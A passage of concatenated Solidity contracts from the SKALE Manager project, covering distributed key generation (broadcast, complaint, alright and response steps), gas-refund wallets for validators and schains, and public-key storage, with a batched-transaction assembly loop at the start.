shr(0xf8, mload(add(transactions, i))) // We offset the load address by 1 byte (operation byte) // We shift it right by 96 bits (256 - 160 [20 address bytes]) // to right-align the data and zero out unused data. let to := shr(0x60, mload(add(transactions, add(i, 0x01)))) // We offset the load address by 21 byte (operation byte + 20 address bytes) let value := mload(add(transactions, add(i, 0x15))) // We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes) let dataLength := mload(add(transactions, add(i, 0x35))) // We offset the load address by 85 byte // (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes) let data := add(transactions, add(i, 0x55)) let success := 0 switch operation case 0 { success := call(gas(), to, value, data, dataLength, 0, 0) } case 1 { success := delegatecall(gas(), to, data, dataLength, 0, 0) } if eq(success, 0) { revert(0, 0) } // Next entry starts at 85 byte + data length i := add(i, add(0x55, dataLength)) } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgAlright.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../ContractManager.sol"; import "../Wallets.sol"; import "../KeyStorage.sol"; /** * @title SkaleDkgAlright * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgAlright { event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); event SuccessfulDKG(bytes32 indexed schainId); function alright( bytes32 schainId, uint fromNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage lastSuccesfulDKG ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); (uint index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); uint numberOfParticipant = channels[schainId].n; require(numberOfParticipant == dkgProcess[schainId].numberOfBroadcasted, "Still Broadcasting phase"); require( complaints[schainId].fromNodeToComplaint != fromNodeIndex || (fromNodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0), "Node has already sent complaint" ); require(!dkgProcess[schainId].completed[index], "Node is already alright"); dkgProcess[schainId].completed[index] = true; dkgProcess[schainId].numberOfCompleted++; emit AllDataReceived(schainId, fromNodeIndex); if (dkgProcess[schainId].numberOfCompleted == numberOfParticipant) { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./delegation/Punisher.sol"; import "./SlashingTable.sol"; import "./Schains.sol"; import "./SchainsInternal.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./KeyStorage.sol"; import "./interfaces/ISkaleDKG.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./Wallets.sol"; import "./dkg/SkaleDkgAlright.sol"; import "./dkg/SkaleDkgBroadcast.sol"; import "./dkg/SkaleDkgComplaint.sol"; import "./dkg/SkaleDkgPreResponse.sol"; import "./dkg/SkaleDkgResponse.sol"; /** * @title SkaleDKG * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ contract SkaleDKG is Permissions, ISkaleDKG { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response} struct Channel { bool active; uint n; uint startedBlockTimestamp; uint startedBlock; } struct ProcessDKG { uint numberOfBroadcasted; uint numberOfCompleted; bool[] broadcasted; bool[] completed; } struct ComplaintData { uint nodeToComplaint; uint fromNodeToComplaint; uint startComplaintBlockTimestamp; bool isResponse; bytes32 keyShare; G2Operations.G2Point sumOfVerVec; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } struct Context { bool isDebt; uint delta; DkgFunction dkgFunction; } uint public constant COMPLAINT_TIMELIMIT = 1800; mapping(bytes32 => Channel) public channels; mapping(bytes32 => uint) public lastSuccesfulDKG; mapping(bytes32 => ProcessDKG) public dkgProcess; mapping(bytes32 => ComplaintData) public complaints; mapping(bytes32 => uint) public startAlrightTimestamp; mapping(bytes32 => mapping(uint => bytes32)) public hashedData; mapping(bytes32 => uint) private _badNodes; /** * @dev Emitted when a channel is opened. */ event ChannelOpened(bytes32 schainId); /** * @dev Emitted when a channel is closed. */ event ChannelClosed(bytes32 schainId); /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, KeyShare[] secretKeyContribution ); /** * @dev Emitted when all group data is received by node. */ event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); /** * @dev Emitted when DKG is successful. */ event SuccessfulDKG(bytes32 indexed schainId); /** * @dev Emitted when a complaint against a node is verified. */ event BadGuy(uint nodeIndex); /** * @dev Emitted when DKG failed. */ event FailedDKG(bytes32 indexed schainId); /** * @dev Emitted when a new node is rotated in. */ event NewGuy(uint nodeIndex); /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); modifier correctGroup(bytes32 schainId) { require(channels[schainId].active, "Group is not created"); _; } modifier correctGroupWithoutRevert(bytes32 schainId) { if (!channels[schainId].active) { emit ComplaintError("Group is not created"); } else { _; } } modifier correctNode(bytes32 schainId, uint nodeIndex) { (uint index, ) = checkAndReturnIndexInGroup(schainId, nodeIndex, true); _; } modifier correctNodeWithoutRevert(bytes32 schainId, uint nodeIndex) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); if (!check) { emit ComplaintError("Node is not in this group"); } else { _; } } modifier onlyNodeOwner(uint nodeIndex) { _checkMsgSenderIsNodeOwner(nodeIndex); _; } modifier refundGasBySchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); } modifier refundGasByValidatorToSchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); _refundGasByValidatorToSchain(schainId); } function alright(bytes32 schainId, uint fromNodeIndex) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(), dkgFunction: DkgFunction.Alright })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgAlright.alright( schainId, fromNodeIndex, contractManager, channels, dkgProcess, complaints, lastSuccesfulDKG ); } function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, KeyShare[] memory secretKeyContribution ) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(), dkgFunction: DkgFunction.Broadcast })) correctGroup(schainId) onlyNodeOwner(nodeIndex) { SkaleDkgBroadcast.broadcast( schainId, nodeIndex, verificationVector, secretKeyContribution, contractManager, channels, dkgProcess, hashedData ); } function complaintBadData(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(), dkgFunction: DkgFunction.ComplaintBadData })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaintBadData( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints ); } function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, KeyShare[] memory secretKeyContribution ) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(), dkgFunction: DkgFunction.PreResponse })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgPreResponse.preResponse( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, contractManager, complaints, hashedData ); } function complaint(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasByValidatorToSchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(), dkgFunction: DkgFunction.Complaint })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaint( schainId, fromNodeIndex, toNodeIndex, contractManager, channels, complaints, startAlrightTimestamp ); } function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare ) external refundGasByValidatorToSchain( schainId, Context({isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(), dkgFunction: DkgFunction.Response })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgResponse.response( schainId, fromNodeIndex, secretNumber, multipliedShare, contractManager, channels, complaints ); } /** * @dev Allows Schains and NodeRotation contracts to open a channel. * * Emits a {ChannelOpened} event. * * Requirements: * * - Channel is not already created. */ function openChannel(bytes32 schainId) external override allowTwo("Schains","NodeRotation") { _openChannel(schainId); } /** * @dev Allows SchainsInternal contract to delete a channel. * * Requirements: * * - Channel must exist. */ function deleteChannel(bytes32 schainId) external override allow("SchainsInternal") { delete channels[schainId]; delete dkgProcess[schainId]; delete complaints[schainId]; KeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainId); } function setStartAlrightTimestamp(bytes32 schainId) external allow("SkaleDKG") { startAlrightTimestamp[schainId] = now; } function setBadNode(bytes32 schainId, uint nodeIndex) external allow("SkaleDKG") { _badNodes[schainId] = nodeIndex; } function finalizeSlashing(bytes32 schainId, uint badNode) external allow("SkaleDKG") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); emit BadGuy(badNode); emit FailedDKG(schainId); schainsInternal.makeSchainNodesInvisible(schainId); if (schainsInternal.isAnyFreeNode(schainId)) { uint newNode = nodeRotation.rotateNode( badNode, schainId, false, true ); emit NewGuy(newNode); } else { _openChannel(schainId); schainsInternal.removeNodeFromSchain( badNode, schainId ); channels[schainId].active = false; } schainsInternal.makeSchainNodesVisible(schainId); Punisher(contractManager.getPunisher()).slash( Nodes(contractManager.getContract("Nodes")).getValidatorId(badNode), SlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG") ); } function getChannelStartedTime(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlockTimestamp; } function getChannelStartedBlock(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlock; } function getNumberOfBroadcasted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfBroadcasted; } function getNumberOfCompleted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfCompleted; } function getTimeOfLastSuccessfulDKG(bytes32 schainId) external view returns (uint) { return lastSuccesfulDKG[schainId]; } function getComplaintData(bytes32 schainId) external view returns (uint, uint) { return (complaints[schainId].fromNodeToComplaint, complaints[schainId].nodeToComplaint); } function getComplaintStartedTime(bytes32 schainId) external view returns (uint) { return complaints[schainId].startComplaintBlockTimestamp; } function getAlrightStartedTime(bytes32 schainId) external view returns (uint) { return startAlrightTimestamp[schainId]; } /** * @dev Checks whether channel is opened. */ function isChannelOpened(bytes32 schainId) external override view returns (bool) { return channels[schainId].active; } function isLastDKGSuccessful(bytes32 schainId) external override view returns (bool) { return channels[schainId].startedBlockTimestamp <= lastSuccesfulDKG[schainId]; } /** * @dev Checks whether broadcast is possible. */ function isBroadcastPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && !dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether complaint is possible. */ function isComplaintPossible( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex ) external view returns (bool) { (uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainId, fromNodeIndex, false); (uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainId, toNodeIndex, false); if (!checkFrom || !checkTo) return false; bool complaintSending = ( complaints[schainId].nodeToComplaint == uint(-1) && dkgProcess[schainId].broadcasted[indexTo] && !dkgProcess[schainId].completed[indexFrom] ) || ( dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].startComplaintBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp && complaints[schainId].nodeToComplaint == toNodeIndex ) || ( !dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].nodeToComplaint == uint(-1) && channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp ) || ( complaints[schainId].nodeToComplaint == uint(-1) && isEveryoneBroadcasted(schainId) && dkgProcess[schainId].completed[indexFrom] && !dkgProcess[schainId].completed[indexTo] && startAlrightTimestamp[schainId].add(_getComplaintTimelimit()) <= block.timestamp ); return channels[schainId].active && dkgProcess[schainId].broadcasted[indexFrom] && _isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } /** * @dev Checks whether sending Alright response is possible. */ function isAlrightPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted && (complaints[schainId].fromNodeToComplaint != nodeIndex || (nodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0)) && !dkgProcess[schainId].completed[index]; } /** * @dev Checks whether sending a pre-response is possible. */ function isPreResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && !complaints[schainId].isResponse; } /** * @dev Checks whether sending a response is possible. */ function isResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && complaints[schainId].isResponse; } function isNodeBroadcasted(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether all data has been received by node. */ function isAllDataReceived(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].completed[index]; } function hashData( KeyShare[] memory secretKeyContribution, G2Operations.G2Point[] memory verificationVector ) external pure returns (bytes32) { bytes memory data; for (uint i = 0; i < secretKeyContribution.length; i++) { data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share); } for (uint i = 0; i < verificationVector.length; i++) { data = abi.encodePacked( data, verificationVector[i].x.a, verificationVector[i].x.b, verificationVector[i].y.a, verificationVector[i].y.b ); } return keccak256(data); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function checkAndReturnIndexInGroup( bytes32 schainId, uint nodeIndex, bool revertCheck ) public view returns (uint, bool) { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, nodeIndex); if (index >= channels[schainId].n && revertCheck) { revert("Node is not in this group"); } return (index, index < channels[schainId].n); } function _refundGasBySchain(bytes32 schainId, uint gasTotal, Context memory context) private { Wallets wallets = Wallets(payable(contractManager.getContract("Wallets"))); bool isLastNode = channels[schainId].n == dkgProcess[schainId].numberOfCompleted; if (context.dkgFunction == DkgFunction.Alright && isLastNode) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(74800), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 2e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(640000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 1e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(270000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Response){ wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).sub(context.delta), context.isDebt ); } else { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta), context.isDebt ); } } function _refundGasByValidatorToSchain(bytes32 schainId) private { uint validatorId = Nodes(contractManager.getContract("Nodes")) .getValidatorId(_badNodes[schainId]); Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidatorToSchain(validatorId, schainId); delete _badNodes[schainId]; } function _openChannel(bytes32 schainId) private { SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); uint len = schainsInternal.getNumberOfNodesInGroup(schainId); channels[schainId].active = true; channels[schainId].n = len; delete dkgProcess[schainId].completed; delete dkgProcess[schainId].broadcasted; dkgProcess[schainId].broadcasted = new bool[](len); dkgProcess[schainId].completed = new bool[](len); complaints[schainId].fromNodeToComplaint = uint(-1); complaints[schainId].nodeToComplaint = uint(-1); delete complaints[schainId].startComplaintBlockTimestamp; delete dkgProcess[schainId].numberOfBroadcasted; delete dkgProcess[schainId].numberOfCompleted; channels[schainId].startedBlockTimestamp = now; channels[schainId].startedBlock = block.number; KeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainId); emit ChannelOpened(schainId); } function isEveryoneBroadcasted(bytes32 schainId) public view returns (bool) { return channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted; } function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) { return Nodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex); } function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view { require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender"); } function _getComplaintTimelimit() private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* Wallets.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./delegation/ValidatorService.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Wallets * @dev Contract contains logic to perform automatic self-recharging ether for nodes */ contract Wallets is Permissions { mapping (uint => uint) private _validatorWallets; mapping (bytes32 => uint) private _schainWallets; mapping (bytes32 => uint) private _schainDebts; /** * @dev Emitted when the validator wallet was funded */ event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId); /** * @dev Emitted when the schain wallet was funded */ event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainId); /** * @dev Emitted when the node received a refund from validator to its wallet */ event NodeRefundedByValidator(address node, uint validatorId, uint amount); /** * @dev Emitted when the node received a refund from schain to its wallet */ event NodeRefundedBySchain(address node, bytes32 schainId, uint amount); /** * @dev Is executed on a call to the contract with empty calldata. * This is the function that is executed on plain Ether transfers, * so validator or schain owner can use usual transfer ether to recharge wallet. */ receive() external payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32[] memory schainIds = schainsInternal.getSchainIdsByAddress(msg.sender); if (schainIds.length == 1) { rechargeSchainWallet(schainIds[0]); } else { uint validatorId = validatorService.getValidatorId(msg.sender); rechargeValidatorWallet(validatorId); } } /** * @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds * the node will receive the entire remaining amount in the validator's wallet. * `validatorId` - validator that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * * Emits a {NodeRefundedByValidator} event. * * Requirements: * - Given validator should exist */ function refundGasByValidator( uint validatorId, address payable spender, uint spentGas ) external allowTwo("SkaleManager", "SkaleDKG") { require(validatorId != 0, "ValidatorId could not be zero"); uint amount = tx.gasprice * spentGas; if (amount <= _validatorWallets[validatorId]) { _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); emit NodeRefundedByValidator(spender, validatorId, amount); spender.transfer(amount); } else { uint wholeAmount = _validatorWallets[validatorId]; // solhint-disable-next-line reentrancy delete _validatorWallets[validatorId]; emit NodeRefundedByValidator(spender, validatorId, wholeAmount); spender.transfer(wholeAmount); } } /** * @dev Returns the amount owed to the owner of the chain by the validator, * if the validator does not have enough funds, then everything * that the validator has will be returned to the owner of the chain. */ function refundGasByValidatorToSchain(uint validatorId, bytes32 schainId) external allow("SkaleDKG") { uint debtAmount = _schainDebts[schainId]; uint validatorWallet = _validatorWallets[validatorId]; if (debtAmount <= validatorWallet) { _validatorWallets[validatorId] = validatorWallet.sub(debtAmount); } else { debtAmount = validatorWallet; delete _validatorWallets[validatorId]; } _schainWallets[schainId] = _schainWallets[schainId].add(debtAmount); delete _schainDebts[schainId]; } /** * @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds * than transaction will be reverted. * `schainId` - schain that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator * * Emits a {NodeRefundedBySchain} event. * * Requirements: * - Given schain should exist * - Schain wallet should have enough funds */ function refundGasBySchain( bytes32 schainId, address payable spender, uint spentGas, bool isDebt ) external allowTwo("SkaleDKG", "MessageProxyForMainnet") { uint amount = tx.gasprice * spentGas; if (isDebt) { amount += (_schainDebts[schainId] == 0 ? 21000 : 6000) * tx.gasprice; _schainDebts[schainId] = _schainDebts[schainId].add(amount); } require(schainId != bytes32(0), "SchainId cannot be null"); require(amount <= _schainWallets[schainId], "Schain wallet has not enough funds"); _schainWallets[schainId] = _schainWallets[schainId].sub(amount); emit NodeRefundedBySchain(spender, schainId, amount); spender.transfer(amount); } /** * @dev Withdraws money from schain wallet. Possible to execute only after deleting schain. * `schainOwner` - address of schain owner that will receive rest of the schain balance * `schainId` - schain wallet from which money is withdrawn * * Requirements: * - Executable only after initing delete schain */ function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainId) external allow("Schains") { uint amount = _schainWallets[schainId]; delete _schainWallets[schainId]; schainOwner.transfer(amount); } /** * @dev Withdraws money from vaildator wallet. * `amount` - the amount of money in wei * * Requirements: * - Validator must have sufficient withdrawal amount */ function withdrawFundsFromValidatorWallet(uint amount) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorId(msg.sender); require(amount <= _validatorWallets[validatorId], "Balance is too low"); _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); msg.sender.transfer(amount); } function getSchainBalance(bytes32 schainId) external view returns (uint) { return _schainWallets[schainId]; } function getValidatorBalance(uint validatorId) external view returns (uint) { return _validatorWallets[validatorId]; } /** * @dev Recharge the validator wallet by id. * `validatorId` - id of existing validator. * * Emits a {ValidatorWalletRecharged} event. * * Requirements: * - Given validator must exist */ function rechargeValidatorWallet(uint validatorId) public payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorExists(validatorId), "Validator does not exists"); _validatorWallets[validatorId] = _validatorWallets[validatorId].add(msg.value); emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId); } /** * @dev Recharge the schain wallet by schainId (hash of schain name). * `schainId` - id of existing schain. * * Emits a {SchainWalletRecharged} event. * * Requirements: * - Given schain must be created */ function rechargeSchainWallet(bytes32 schainId) public payable { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainActive(schainId), "Schain should be active for recharging"); _schainWallets[schainId] = _schainWallets[schainId].add(msg.value); emit SchainWalletRecharged(msg.sender, msg.value, schainId); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* KeyStorage.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Decryption.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; contract KeyStorage is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; struct BroadcastedData { KeyShare[] secretKeyContribution; G2Operations.G2Point[] verificationVector; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } // Unused variable!! mapping(bytes32 => mapping(uint => BroadcastedData)) private _data; // mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress; mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys; // Unused variable mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys; // mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys; function deleteKey(bytes32 schainId) external allow("SkaleDKG") { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); delete _schainsPublicKeys[schainId]; delete _data[schainId][0]; delete _schainsNodesPublicKeys[schainId]; } function initPublicKeyInProgress(bytes32 schainId) external allow("SkaleDKG") { _publicKeysInProgress[schainId] = G2Operations.getG2Zero(); } function adding(bytes32 schainId, G2Operations.G2Point memory value) external allow("SkaleDKG") { require(value.isG2(), "Incorrect g2 point"); _publicKeysInProgress[schainId] = value.addG2(_publicKeysInProgress[schainId]); } function finalizePublicKey(bytes32 schainId) external allow("SkaleDKG") { if (!_isSchainsPublicKeyZero(schainId)) { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); } _schainsPublicKeys[schainId] = _publicKeysInProgress[schainId]; delete _publicKeysInProgress[schainId]; } function getCommonPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { return _schainsPublicKeys[schainId]; } function getPreviousPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { uint length = _previousSchainsPublicKeys[schainId].length; if (length == 0) { return G2Operations.getG2Zero(); } return _previousSchainsPublicKeys[schainId][length - 1]; } function getAllPreviousPublicKeys(bytes32 schainId) external view returns (G2Operations.G2Point[] memory) { return _previousSchainsPublicKeys[schainId]; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function _isSchainsPublicKeyZero(bytes32 schainId) private view returns (bool) { return _schainsPublicKeys[schainId].x.a == 0 && _schainsPublicKeys[schainId].x.b == 0 && _schainsPublicKeys[schainId].y.a == 0 && _schainsPublicKeys[schainId].y.b == 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SlashingTable.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title Slashing Table 